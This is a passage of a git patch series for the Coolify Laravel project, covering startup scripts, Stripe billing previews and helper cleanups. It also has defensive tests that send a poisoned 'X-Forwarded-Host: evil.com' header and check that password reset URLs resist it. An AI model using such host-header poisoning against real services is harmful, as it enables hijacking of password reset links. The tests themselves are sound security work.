+ // Should NOT be rejected (would be 400 for Bad Host) + expect($response->status())->not->toBe(400); +}); + +it('allows X-Forwarded-Host with port matching configured FQDN', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + // Some proxies include the port in X-Forwarded-Host + $response = $this->get('/', [ + 'X-Forwarded-Host' => 'coolify.example.com:443', + ]); + + // Should NOT be rejected — port is stripped before matching + expect($response->status())->not->toBe(400); +}); + it('skips host validation for API routes', function () { // All API routes use token-based auth (Sanctum), not host validation // They should be accessible from any host (mobile apps, CLI tools, scripts) @@ -352,9 +478,10 @@ ]); expect($response->status())->not->toBe(400); - // Test Stripe webhook + // Test Stripe webhook — may return 400 from Stripe signature validation, + // but the response should NOT contain "Bad Host" (host validation error) $response = $this->post('/webhooks/payments/stripe/events', [], [ 'Host' => 'stripe-webhook-forwarder.local', ]); - expect($response->status())->not->toBe(400); + expect($response->content())->not->toContain('Bad Host'); }); From 9b0088072cd29e39632b2546918db776fc8b371c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 27 Mar 2026 14:12:30 +0100 Subject: [PATCH 37/95] refactor(docker): migrate service startup from Artisan commands to shell scripts Remove custom Artisan console commands (Horizon, Nightwatch, Scheduler) and refactor service startup logic directly into s6-overlay shell scripts. Check environment variables from .env instead of routing through Laravel config. Services now sleep when disabled instead of exiting immediately. Both development and production environments updated consistently. --- app/Console/Commands/Horizon.php | 23 ------------------- app/Console/Commands/Nightwatch.php | 22 ------------------ app/Console/Commands/Scheduler.php | 23 ------------------- .../etc/s6-overlay/s6-rc.d/horizon/run | 15 ++++++------ .../s6-overlay/s6-rc.d/nightwatch-agent/run | 15 ++++++------ .../s6-overlay/s6-rc.d/scheduler-worker/run | 16 ++++++------- .../etc/s6-overlay/s6-rc.d/horizon/run | 16 ++++++------- .../s6-overlay/s6-rc.d/nightwatch-agent/run | 16 ++++++------- .../s6-overlay/s6-rc.d/scheduler-worker/run | 17 +++++++------- 9 files changed, 46 insertions(+), 117 deletions(-) delete mode 100644 app/Console/Commands/Horizon.php delete mode 100644 app/Console/Commands/Nightwatch.php delete mode 100644 app/Console/Commands/Scheduler.php diff --git a/app/Console/Commands/Horizon.php b/app/Console/Commands/Horizon.php deleted file mode 100644 index d3e35ca5a..000000000 --- a/app/Console/Commands/Horizon.php +++ /dev/null @@ -1,23 +0,0 @@ -info('Horizon is enabled on this server.'); - $this->call('horizon'); - exit(0); - } else { - exit(0); - } - } -} diff --git a/app/Console/Commands/Nightwatch.php b/app/Console/Commands/Nightwatch.php deleted file mode 100644 index 40fd86a81..000000000 --- a/app/Console/Commands/Nightwatch.php +++ /dev/null @@ -1,22 +0,0 @@ -info('Nightwatch is enabled on this server.'); - $this->call('nightwatch:agent'); - } - - exit(0); - } -} diff --git a/app/Console/Commands/Scheduler.php b/app/Console/Commands/Scheduler.php deleted file mode 100644 index ee64368c3..000000000 --- a/app/Console/Commands/Scheduler.php +++ /dev/null @@ -1,23 +0,0 @@ -info('Scheduler is enabled on this server.'); - $this->call('schedule:work'); - exit(0); - } else { - exit(0); - } - } -} diff --git a/docker/development/etc/s6-overlay/s6-rc.d/horizon/run b/docker/development/etc/s6-overlay/s6-rc.d/horizon/run index ada19b3a3..e6a17f858 100644 --- a/docker/development/etc/s6-overlay/s6-rc.d/horizon/run +++ b/docker/development/etc/s6-overlay/s6-rc.d/horizon/run @@ -1,12 +1,11 @@ -#!/command/execlineb -P +#!/bin/sh -# Use with-contenv to ensure environment variables are available -with-contenv cd /var/www/html -foreground { - php - artisan - start:horizon -} +if grep -qE '^HORIZON_ENABLED=false' .env 2>/dev/null; then + echo "horizon: disabled, sleeping." + exec sleep infinity +fi +echo "horizon: enabled, starting..." +exec php artisan horizon diff --git a/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run index 1166ccd08..80b421c92 100644 --- a/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run +++ b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run @@ -1,12 +1,11 @@ -#!/command/execlineb -P +#!/bin/sh -# Use with-contenv to ensure environment variables are available -with-contenv cd /var/www/html -foreground { - php - artisan - start:nightwatch -} +if grep -qE '^NIGHTWATCH_ENABLED=true' .env 2>/dev/null; then + echo "nightwatch-agent: enabled, starting..." + exec php artisan nightwatch:agent +fi +echo "nightwatch-agent: disabled, sleeping." +exec sleep infinity diff --git a/docker/development/etc/s6-overlay/s6-rc.d/scheduler-worker/run b/docker/development/etc/s6-overlay/s6-rc.d/scheduler-worker/run index b81a44833..6c4d2be9f 100644 --- a/docker/development/etc/s6-overlay/s6-rc.d/scheduler-worker/run +++ b/docker/development/etc/s6-overlay/s6-rc.d/scheduler-worker/run @@ -1,13 +1,11 @@ -#!/command/execlineb -P +#!/bin/sh -# Use with-contenv to ensure environment variables are available -with-contenv cd /var/www/html -foreground { - php - artisan - start:scheduler -} - +if grep -qE '^SCHEDULER_ENABLED=false' .env 2>/dev/null; then + echo "scheduler-worker: disabled, sleeping." + exec sleep infinity +fi +echo "scheduler-worker: enabled, starting..." +exec php artisan schedule:work diff --git a/docker/production/etc/s6-overlay/s6-rc.d/horizon/run b/docker/production/etc/s6-overlay/s6-rc.d/horizon/run index be6647607..e6a17f858 100644 --- a/docker/production/etc/s6-overlay/s6-rc.d/horizon/run +++ b/docker/production/etc/s6-overlay/s6-rc.d/horizon/run @@ -1,11 +1,11 @@ -#!/command/execlineb -P +#!/bin/sh -# Use with-contenv to ensure environment variables are available -with-contenv cd /var/www/html -foreground { - php - artisan - start:horizon -} +if grep -qE '^HORIZON_ENABLED=false' .env 2>/dev/null; then + echo "horizon: disabled, sleeping." + exec sleep infinity +fi + +echo "horizon: enabled, starting..." +exec php artisan horizon diff --git a/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run index 80d73eadb..80b421c92 100644 --- a/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run +++ b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run @@ -1,11 +1,11 @@ -#!/command/execlineb -P +#!/bin/sh -# Use with-contenv to ensure environment variables are available -with-contenv cd /var/www/html -foreground { - php - artisan - start:nightwatch -} +if grep -qE '^NIGHTWATCH_ENABLED=true' .env 2>/dev/null; then + echo "nightwatch-agent: enabled, starting..." + exec php artisan nightwatch:agent +fi + +echo "nightwatch-agent: disabled, sleeping." +exec sleep infinity diff --git a/docker/production/etc/s6-overlay/s6-rc.d/scheduler-worker/run b/docker/production/etc/s6-overlay/s6-rc.d/scheduler-worker/run index a2ecb0a73..6c4d2be9f 100644 --- a/docker/production/etc/s6-overlay/s6-rc.d/scheduler-worker/run +++ b/docker/production/etc/s6-overlay/s6-rc.d/scheduler-worker/run @@ -1,10 +1,11 @@ -#!/command/execlineb -P +#!/bin/sh -# Use with-contenv to ensure environment variables are available -with-contenv cd /var/www/html -foreground { - php - artisan - start:scheduler -} + +if grep -qE '^SCHEDULER_ENABLED=false' .env 2>/dev/null; then + echo "scheduler-worker: disabled, sleeping." + exec sleep infinity +fi + +echo "scheduler-worker: enabled, starting..." +exec php artisan schedule:work From af3826eac0e0fa0ac846302e888997ac725f865e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 27 Mar 2026 14:14:01 +0100 Subject: [PATCH 38/95] feat(reset-password): add IPv6 support and header poisoning protection - Add support for bracketed IPv6 addresses when FQDN is not configured - Harden password reset URL generation against X-Forwarded-Host header poisoning - Add test coverage for IPv6-only configurations with malicious headers - Update imports and clean up exception syntax in shared helpers --- bootstrap/helpers/shared.php | 107 +++++++++++++------------ tests/Feature/ResetPasswordUrlTest.php | 40 +++++++++ 2 files changed, 97 insertions(+), 50 deletions(-) diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 84472a07e..920d458b3 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -16,6 +16,7 @@ use App\Models\Service; use App\Models\ServiceApplication; use App\Models\ServiceDatabase; +use App\Models\SharedEnvironmentVariable; use App\Models\StandaloneClickhouse; use App\Models\StandaloneDragonfly; use App\Models\StandaloneKeydb; @@ -28,8 +29,10 @@ use App\Models\User; use Carbon\CarbonImmutable; use DanHarrin\LivewireRateLimiting\Exceptions\TooManyRequestsException; +use Illuminate\Database\Eloquent\ModelNotFoundException; use Illuminate\Database\UniqueConstraintViolationException; use Illuminate\Process\Pool; +use Illuminate\Support\Carbon; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Cache; @@ -49,10 +52,14 @@ use Lcobucci\JWT\Signer\Hmac\Sha256; use Lcobucci\JWT\Signer\Key\InMemory; use Lcobucci\JWT\Token\Builder; +use Livewire\Component; +use Nubs\RandomNameGenerator\All; +use Nubs\RandomNameGenerator\Alliteration; use phpseclib3\Crypt\EC; use phpseclib3\Crypt\RSA; use Poliander\Cron\CronExpression; use PurplePixie\PhpDns\DNSQuery; +use PurplePixie\PhpDns\DNSTypes; use Spatie\Url\Url; use Symfony\Component\Yaml\Yaml; use Visus\Cuid2\Cuid2; @@ -116,7 +123,7 @@ function sanitize_string(?string $input = null): ?string * @param string $context Descriptive name for error messages (e.g., 'volume source', 'service name') * @return string The validated input (unchanged if valid) * - * @throws \Exception If dangerous characters are detected + * @throws Exception If dangerous characters are detected */ function validateShellSafePath(string $input, string $context = 'path'): string { @@ -138,7 +145,7 @@ function validateShellSafePath(string $input, string $context = 'path'): string // Check for dangerous characters foreach ($dangerousChars as $char => $description) { if (str_contains($input, $char)) { - throw new \Exception( + throw new Exception( "Invalid {$context}: contains forbidden character '{$char}' ({$description}). ". 'Shell metacharacters are not allowed for security reasons.' ); @@ -160,7 +167,7 @@ function validateShellSafePath(string $input, string $context = 'path'): string * @param string $input The databases_to_backup string * @return string The validated input * - * @throws \Exception If any component contains dangerous characters + * @throws Exception If any component contains dangerous characters */ function validateDatabasesBackupInput(string $input): string { @@ -211,7 +218,7 @@ function validateDatabasesBackupInput(string $input): string * @param string $context Descriptive name for error messages * @return string The validated input (trimmed) * - * @throws \Exception If the input contains disallowed characters + * @throws Exception If the input contains disallowed characters */ function validateGitRef(string $input, string $context = 'git ref'): string { @@ -223,12 +230,12 @@ function validateGitRef(string $input, string $context = 'git ref'): string // Must not start with a hyphen (git flag injection) if (str_starts_with($input, '-')) { - throw new \Exception("Invalid {$context}: must not start with a hyphen."); + throw new Exception("Invalid {$context}: must not start with a hyphen."); } // Allow only alphanumeric characters, dots, hyphens, underscores, and slashes if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/', $input)) { - throw new \Exception("Invalid {$context}: contains disallowed characters. Only alphanumeric characters, dots, hyphens, underscores, and slashes are allowed."); + throw new Exception("Invalid {$context}: contains disallowed characters. Only alphanumeric characters, dots, hyphens, underscores, and slashes are allowed."); } return $input; @@ -282,7 +289,7 @@ function refreshSession(?Team $team = null): void }); session(['currentTeam' => $team]); } -function handleError(?Throwable $error = null, ?Livewire\Component $livewire = null, ?string $customErrorMessage = null) +function handleError(?Throwable $error = null, ?Component $livewire = null, ?string $customErrorMessage = null) { if ($error instanceof TooManyRequestsException) { if (isset($livewire)) { @@ -299,7 +306,7 @@ function handleError(?Throwable $error = null, ?Livewire\Component $livewire = n return 'Duplicate entry found. Please use a different name.'; } - if ($error instanceof \Illuminate\Database\Eloquent\ModelNotFoundException) { + if ($error instanceof ModelNotFoundException) { abort(404); } @@ -329,7 +336,7 @@ function get_latest_sentinel_version(): string $versions = $response->json(); return data_get($versions, 'coolify.sentinel.version'); - } catch (\Throwable) { + } catch (Throwable) { return '0.0.0'; } } @@ -339,7 +346,7 @@ function get_latest_version_of_coolify(): string $versions = get_versions_data(); return data_get($versions, 'coolify.v4.version', '0.0.0'); - } catch (\Throwable $e) { + } catch (Throwable $e) { return '0.0.0'; } @@ -347,9 +354,9 @@ function get_latest_version_of_coolify(): string function generate_random_name(?string $cuid = null): string { - $generator = new \Nubs\RandomNameGenerator\All( + $generator = new All( [ - new \Nubs\RandomNameGenerator\Alliteration, + new Alliteration, ] ); if (is_null($cuid)) { @@ -448,7 +455,7 @@ function getFqdnWithoutPort(string $fqdn) $path = $url->getPath(); return "$scheme://$host$path"; - } catch (\Throwable) { + } catch (Throwable) { return $fqdn; } } @@ -478,10 +485,10 @@ function base_url(bool $withPort = true): string } if ($settings->public_ipv6) { if ($withPort) { - return "http://$settings->public_ipv6:$port"; + return "http://[$settings->public_ipv6]:$port"; } - return "http://$settings->public_ipv6"; + return "http://[$settings->public_ipv6]"; } return url('/'); @@ -537,21 +544,21 @@ function validate_cron_expression($expression_to_validate): bool * Even if the job runs minutes late, it still catches the missed cron window. * Without a dedupKey, falls back to a simple isDue() check. */ -function shouldRunCronNow(string $frequency, string $timezone, ?string $dedupKey = null, ?\Illuminate\Support\Carbon $executionTime = null): bool +function shouldRunCronNow(string $frequency, string $timezone, ?string $dedupKey = null, ?Carbon $executionTime = null): bool { - $cron = new \Cron\CronExpression($frequency); - $executionTime = ($executionTime ?? \Illuminate\Support\Carbon::now())->copy()->setTimezone($timezone); + $cron = new Cron\CronExpression($frequency); + $executionTime = ($executionTime ?? Carbon::now())->copy()->setTimezone($timezone); if ($dedupKey === null) { return $cron->isDue($executionTime); } - $previousDue = \Illuminate\Support\Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true)); + $previousDue = Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true)); $lastDispatched = Cache::get($dedupKey); $shouldFire = $lastDispatched === null ? $cron->isDue($executionTime) - : $previousDue->gt(\Illuminate\Support\Carbon::parse($lastDispatched)); + : $previousDue->gt(Carbon::parse($lastDispatched)); // Always write: seeds on first miss, refreshes on dispatch. // 30-day static TTL covers all intervals; orphan keys self-clean. @@ -932,7 +939,7 @@ function get_service_templates(bool $force = false): Collection $services = $response->json(); return collect($services); - } catch (\Throwable) { + } catch (Throwable) { $services = File::get(base_path('templates/'.config('constants.services.file_name'))); return collect(json_decode($services))->sortKeys(); @@ -955,7 +962,7 @@ function getResourceByUuid(string $uuid, ?int $teamId = null) } // ServiceDatabase has a different relationship path: service->environment->project->team_id - if ($resource instanceof \App\Models\ServiceDatabase) { + if ($resource instanceof ServiceDatabase) { if ($resource->service?->environment?->project?->team_id === $teamId) { return $resource; } @@ -1081,7 +1088,7 @@ function generateGitManualWebhook($resource, $type) if ($resource->source_id !== 0 && ! is_null($resource->source_id)) { return null; } - if ($resource->getMorphClass() === \App\Models\Application::class) { + if ($resource->getMorphClass() === Application::class) { $baseUrl = base_url(); return Url::fromString($baseUrl)."/webhooks/source/$type/events/manual"; @@ -1102,11 +1109,11 @@ function sanitizeLogsForExport(string $text): string function getTopLevelNetworks(Service|Application $resource) { - if ($resource->getMorphClass() === \App\Models\Service::class) { + if ($resource->getMorphClass() === Service::class) { if ($resource->docker_compose_raw) { try { $yaml = Yaml::parse($resource->docker_compose_raw); - } catch (\Exception $e) { + } catch (Exception $e) { // If the docker-compose.yml file is not valid, we will return the network name as the key $topLevelNetworks = collect([ $resource->uuid => [ @@ -1169,10 +1176,10 @@ function getTopLevelNetworks(Service|Application $resource) return $topLevelNetworks->keys(); } - } elseif ($resource->getMorphClass() === \App\Models\Application::class) { + } elseif ($resource->getMorphClass() === Application::class) { try { $yaml = Yaml::parse($resource->docker_compose_raw); - } catch (\Exception $e) { + } catch (Exception $e) { // If the docker-compose.yml file is not valid, we will return the network name as the key $topLevelNetworks = collect([ $resource->uuid => [ @@ -1479,7 +1486,7 @@ function validateDNSEntry(string $fqdn, Server $server) $ip = $server->ip; } $found_matching_ip = false; - $type = \PurplePixie\PhpDns\DNSTypes::NAME_A; + $type = DNSTypes::NAME_A; foreach ($dns_servers as $dns_server) { try { $query = new DNSQuery($dns_server); @@ -1500,7 +1507,7 @@ function validateDNSEntry(string $fqdn, Server $server) } } } - } catch (\Exception) { + } catch (Exception) { } } @@ -1682,7 +1689,7 @@ function get_public_ips() } InstanceSettings::get()->update(['public_ipv4' => $ipv4]); } - } catch (\Exception $e) { + } catch (Exception $e) { echo "Error: {$e->getMessage()}\n"; } try { @@ -1697,7 +1704,7 @@ function get_public_ips() } InstanceSettings::get()->update(['public_ipv6' => $ipv6]); } - } catch (\Throwable $e) { + } catch (Throwable $e) { echo "Error: {$e->getMessage()}\n"; } } @@ -1795,15 +1802,15 @@ function customApiValidator(Collection|array $item, array $rules) } function parseDockerComposeFile(Service|Application $resource, bool $isNew = false, int $pull_request_id = 0, ?int $preview_id = null) { - if ($resource->getMorphClass() === \App\Models\Service::class) { + if ($resource->getMorphClass() === Service::class) { if ($resource->docker_compose_raw) { // Extract inline comments from raw YAML before Symfony parser discards them $envComments = extractYamlEnvironmentComments($resource->docker_compose_raw); try { $yaml = Yaml::parse($resource->docker_compose_raw); - } catch (\Exception $e) { - throw new \RuntimeException($e->getMessage()); + } catch (Exception $e) { + throw new RuntimeException($e->getMessage()); } $allServices = get_service_templates(); $topLevelVolumes = collect(data_get($yaml, 'volumes', [])); @@ -2567,10 +2574,10 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal } else { return collect([]); } - } elseif ($resource->getMorphClass() === \App\Models\Application::class) { + } elseif ($resource->getMorphClass() === Application::class) { try { $yaml = Yaml::parse($resource->docker_compose_raw); - } catch (\Exception) { + } catch (Exception) { return; } $server = $resource->destination->server; @@ -3332,7 +3339,7 @@ function isAssociativeArray($array) } if (! is_array($array)) { - throw new \InvalidArgumentException('Input must be an array or a Collection.'); + throw new InvalidArgumentException('Input must be an array or a Collection.'); } if ($array === []) { @@ -3448,7 +3455,7 @@ function wireNavigate(): string // Return wire:navigate.hover for SPA navigation with prefetching, or empty string if disabled return ($settings->is_wire_navigate_enabled ?? true) ? 'wire:navigate.hover' : ''; - } catch (\Exception $e) { + } catch (Exception $e) { return 'wire:navigate.hover'; } } @@ -3457,13 +3464,13 @@ function wireNavigate(): string * Redirect to a named route with SPA navigation support. * Automatically uses wire:navigate when is_wire_navigate_enabled is true. */ -function redirectRoute(Livewire\Component $component, string $name, array $parameters = []): mixed +function redirectRoute(Component $component, string $name, array $parameters = []): mixed { $navigate = true; try { $navigate = instanceSettings()->is_wire_navigate_enabled ?? true; - } catch (\Exception $e) { + } catch (Exception $e) { $navigate = true; } @@ -3505,7 +3512,7 @@ function loadConfigFromGit(string $repository, string $branch, string $base_dire ]); try { return instant_remote_process($commands, $server); - } catch (\Exception) { + } catch (Exception) { // continue } } @@ -3636,8 +3643,8 @@ function convertGitUrl(string $gitRepository, string $deploymentType, GithubApp| // If this happens, the user may have provided an HTTP URL when they needed an SSH one // Let's try and fix that for known Git providers switch ($source->getMorphClass()) { - case \App\Models\GithubApp::class: - case \App\Models\GitlabApp::class: + case GithubApp::class: + case GitlabApp::class: $providerInfo['host'] = Url::fromString($source->html_url)->getHost(); $providerInfo['port'] = $source->custom_port; $providerInfo['user'] = $source->custom_user; @@ -3915,10 +3922,10 @@ function shouldSkipPasswordConfirmation(): bool * - User has no password (OAuth users) * * @param mixed $password The password to verify (may be array if skipped by frontend) - * @param \Livewire\Component|null $component Optional Livewire component to add errors to + * @param Component|null $component Optional Livewire component to add errors to * @return bool True if verification passed (or skipped), false if password is incorrect */ -function verifyPasswordConfirmation(mixed $password, ?Livewire\Component $component = null): bool +function verifyPasswordConfirmation(mixed $password, ?Component $component = null): bool { // Skip if password confirmation should be skipped if (shouldSkipPasswordConfirmation()) { @@ -3941,17 +3948,17 @@ function verifyPasswordConfirmation(mixed $password, ?Livewire\Component $compon * Extract hard-coded environment variables from docker-compose YAML. * * @param string $dockerComposeRaw Raw YAML content - * @return \Illuminate\Support\Collection Collection of arrays with: key, value, comment, service_name + * @return Collection Collection of arrays with: key, value, comment, service_name */ -function extractHardcodedEnvironmentVariables(string $dockerComposeRaw): \Illuminate\Support\Collection +function extractHardcodedEnvironmentVariables(string $dockerComposeRaw): Collection { if (blank($dockerComposeRaw)) { return collect([]); } try { - $yaml = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw); - } catch (\Exception $e) { + $yaml = Yaml::parse($dockerComposeRaw); + } catch (Exception $e) { // Malformed YAML - return empty collection return collect([]); } @@ -4100,7 +4107,7 @@ function resolveSharedEnvironmentVariables(?string $value, $resource): ?string if (is_null($id)) { continue; } - $found = \App\Models\SharedEnvironmentVariable::where('type', $type) + $found = SharedEnvironmentVariable::where('type', $type) ->where('key', $variable) ->where('team_id', $resource->team()->id) ->where("{$type}_id", $id) diff --git a/tests/Feature/ResetPasswordUrlTest.php b/tests/Feature/ResetPasswordUrlTest.php index 03d1103f0..65efbb5a1 100644 --- a/tests/Feature/ResetPasswordUrlTest.php +++ b/tests/Feature/ResetPasswordUrlTest.php @@ -103,6 +103,46 @@ function callResetUrl(ResetPassword $notification, $notifiable): string ->not->toContain('evil.com'); }); +it('generates reset URL with bracketed IPv6 when no FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1'] + ); + Once::flush(); + + $user = User::factory()->create(); + $notification = new ResetPassword('ipv6-token', isTransactionalEmail: false); + + $url = callResetUrl($notification, $user); + + expect($url) + ->toContain('[2001:db8::1]') + ->toContain('ipv6-token') + ->toContain(urlencode($user->email)); +}); + +it('is immune to X-Forwarded-Host header poisoning when using IPv6 only', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1'] + ); + Once::flush(); + + $user = User::factory()->create(); + + $this->withHeaders([ + 'X-Forwarded-Host' => 'evil.com', + ])->get('/'); + + $notification = new ResetPassword('poisoned-token', isTransactionalEmail: false); + $url = callResetUrl($notification, $user); + + expect($url) + ->toContain('[2001:db8::1]') + ->toContain('poisoned-token') + ->not->toContain('evil.com'); +}); + it('generates a valid route path in the reset URL', function () { InstanceSettings::updateOrCreate( ['id' => 0], From 638f1d37f1f9e3a53fbb8e7f5eaa5314ba34419d Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 27 Mar 2026 19:05:13 +0100 Subject: [PATCH 39/95] feat(subscription): add billing interval to price preview Extract and return the billing interval (month/year) from subscription pricing data in fetchPricePreview. Update the view to dynamically display the correct billing period based on the preview response instead of using static PHP logic. --- .../Stripe/UpdateSubscriptionQuantity.php | 5 +- .../livewire/subscription/actions.blade.php | 2 +- .../UpdateSubscriptionQuantityTest.php | 49 +++++++++++++++++-- 3 files changed, 50 insertions(+), 6 deletions(-) diff --git a/app/Actions/Stripe/UpdateSubscriptionQuantity.php b/app/Actions/Stripe/UpdateSubscriptionQuantity.php index a3eab4dca..d4d29af20 100644 --- a/app/Actions/Stripe/UpdateSubscriptionQuantity.php +++ b/app/Actions/Stripe/UpdateSubscriptionQuantity.php @@ -4,6 +4,7 @@ use App\Jobs\ServerLimitCheckJob; use App\Models\Team; +use Stripe\Exception\InvalidRequestException; use Stripe\StripeClient; class UpdateSubscriptionQuantity @@ -42,6 +43,7 @@ public function fetchPricePreview(Team $team, int $quantity): array } $currency = strtoupper($item->price->currency ?? 'usd'); + $billingInterval = $item->price->recurring->interval ?? 'month'; // Upcoming invoice gives us the prorated amount due now $upcomingInvoice = $this->stripe->invoices->upcoming([ @@ -99,6 +101,7 @@ public function fetchPricePreview(Team $team, int $quantity): array 'tax_description' => $taxDescription, 'quantity' => $quantity, 'currency' => $currency, + 'billing_interval' => $billingInterval, ], ]; } catch (\Exception $e) { @@ -184,7 +187,7 @@ public function execute(Team $team, int $quantity): array \Log::info("Subscription {$subscription->stripe_subscription_id} quantity updated to {$quantity} for team {$team->name}"); return ['success' => true, 'error' => null]; - } catch (\Stripe\Exception\InvalidRequestException $e) { + } catch (InvalidRequestException $e) { \Log::error("Stripe update quantity error for team {$team->id}: ".$e->getMessage()); return ['success' => false, 'error' => 'Stripe error: '.$e->getMessage()]; diff --git a/resources/views/livewire/subscription/actions.blade.php b/resources/views/livewire/subscription/actions.blade.php index 6fba0ed83..aa129043b 100644 --- a/resources/views/livewire/subscription/actions.blade.php +++ b/resources/views/livewire/subscription/actions.blade.php @@ -160,7 +160,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
- Total / {{ $billingInterval === 'yearly' ? 'year' : 'month' }} + Total / month
diff --git a/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php index 3e13170f0..3eda322e8 100644 --- a/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php +++ b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php @@ -7,6 +7,7 @@ use App\Models\User; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Queue; +use Stripe\Exception\InvalidRequestException; use Stripe\Service\InvoiceService; use Stripe\Service\SubscriptionService; use Stripe\Service\TaxRateService; @@ -46,7 +47,7 @@ 'data' => [(object) [ 'id' => 'si_item_123', 'quantity' => 2, - 'price' => (object) ['unit_amount' => 500, 'currency' => 'usd'], + 'price' => (object) ['unit_amount' => 500, 'currency' => 'usd', 'recurring' => (object) ['interval' => 'month']], ]], ], ]; @@ -187,7 +188,7 @@ test('handles stripe API error gracefully', function () { $this->mockSubscriptions ->shouldReceive('retrieve') - ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found')); + ->andThrow(new InvalidRequestException('Subscription not found')); $action = new UpdateSubscriptionQuantity($this->mockStripe); $result = $action->execute($this->team, 5); @@ -199,7 +200,7 @@ test('handles generic exception gracefully', function () { $this->mockSubscriptions ->shouldReceive('retrieve') - ->andThrow(new \RuntimeException('Network error')); + ->andThrow(new RuntimeException('Network error')); $action = new UpdateSubscriptionQuantity($this->mockStripe); $result = $action->execute($this->team, 5); @@ -270,6 +271,46 @@ expect($result['preview']['tax_description'])->toContain('27%'); expect($result['preview']['quantity'])->toBe(3); expect($result['preview']['currency'])->toBe('USD'); + expect($result['preview']['billing_interval'])->toBe('month'); + }); + + test('returns yearly billing interval for annual subscriptions', function () { + $yearlySubscriptionResponse = (object) [ + 'items' => (object) [ + 'data' => [(object) [ + 'id' => 'si_item_123', + 'quantity' => 2, + 'price' => (object) ['unit_amount' => 500, 'currency' => 'usd', 'recurring' => (object) ['interval' => 'year']], + ]], + ], + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($yearlySubscriptionResponse); + + $this->mockInvoices + ->shouldReceive('upcoming') + ->andReturn((object) [ + 'amount_due' => 1000, + 'total' => 1000, + 'subtotal' => 1000, + 'tax' => 0, + 'currency' => 'usd', + 'lines' => (object) [ + 'data' => [ + (object) ['amount' => 1000, 'proration' => false], + ], + ], + 'total_tax_amounts' => [], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 2); + + expect($result['success'])->toBeTrue(); + expect($result['preview']['billing_interval'])->toBe('year'); }); test('returns preview without tax when no tax applies', function () { @@ -336,7 +377,7 @@ test('handles Stripe API error gracefully', function () { $this->mockSubscriptions ->shouldReceive('retrieve') - ->andThrow(new \RuntimeException('API error')); + ->andThrow(new RuntimeException('API error')); $action = new UpdateSubscriptionQuantity($this->mockStripe); $result = $action->fetchPricePreview($this->team, 5); From c28fbab36a1d090fcb0b90fb64757198a2fa0f84 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 27 Mar 2026 19:05:36 +0100 Subject: [PATCH 40/95] style(docker): standardize service startup log message format Align log messages across all service startup scripts (horizon, nightwatch-agent, scheduler-worker) in both development and production environments to use a consistent " INFO " prefix format. --- docker/development/etc/s6-overlay/s6-rc.d/horizon/run | 4 ++-- .../development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run | 4 ++-- .../development/etc/s6-overlay/s6-rc.d/scheduler-worker/run | 4 ++-- docker/production/etc/s6-overlay/s6-rc.d/horizon/run | 4 ++-- docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run | 4 ++-- docker/production/etc/s6-overlay/s6-rc.d/scheduler-worker/run | 4 ++-- 6 files changed, 12 insertions(+), 12 deletions(-) diff --git a/docker/development/etc/s6-overlay/s6-rc.d/horizon/run b/docker/development/etc/s6-overlay/s6-rc.d/horizon/run index e6a17f858..dbc472d06 100644 --- a/docker/development/etc/s6-overlay/s6-rc.d/horizon/run +++ b/docker/development/etc/s6-overlay/s6-rc.d/horizon/run @@ -3,9 +3,9 @@ cd /var/www/html if grep -qE '^HORIZON_ENABLED=false' .env 2>/dev/null; then - echo "horizon: disabled, sleeping." + echo " INFO Horizon is disabled, sleeping." exec sleep infinity fi -echo "horizon: enabled, starting..." +echo " INFO Horizon is enabled, starting..." exec php artisan horizon diff --git a/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run index 80b421c92..ee46dba7e 100644 --- a/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run +++ b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run @@ -3,9 +3,9 @@ cd /var/www/html if grep -qE '^NIGHTWATCH_ENABLED=true' .env 2>/dev/null; then - echo "nightwatch-agent: enabled, starting..." + echo " INFO Nightwatch is enabled, starting..." exec php artisan nightwatch:agent fi -echo 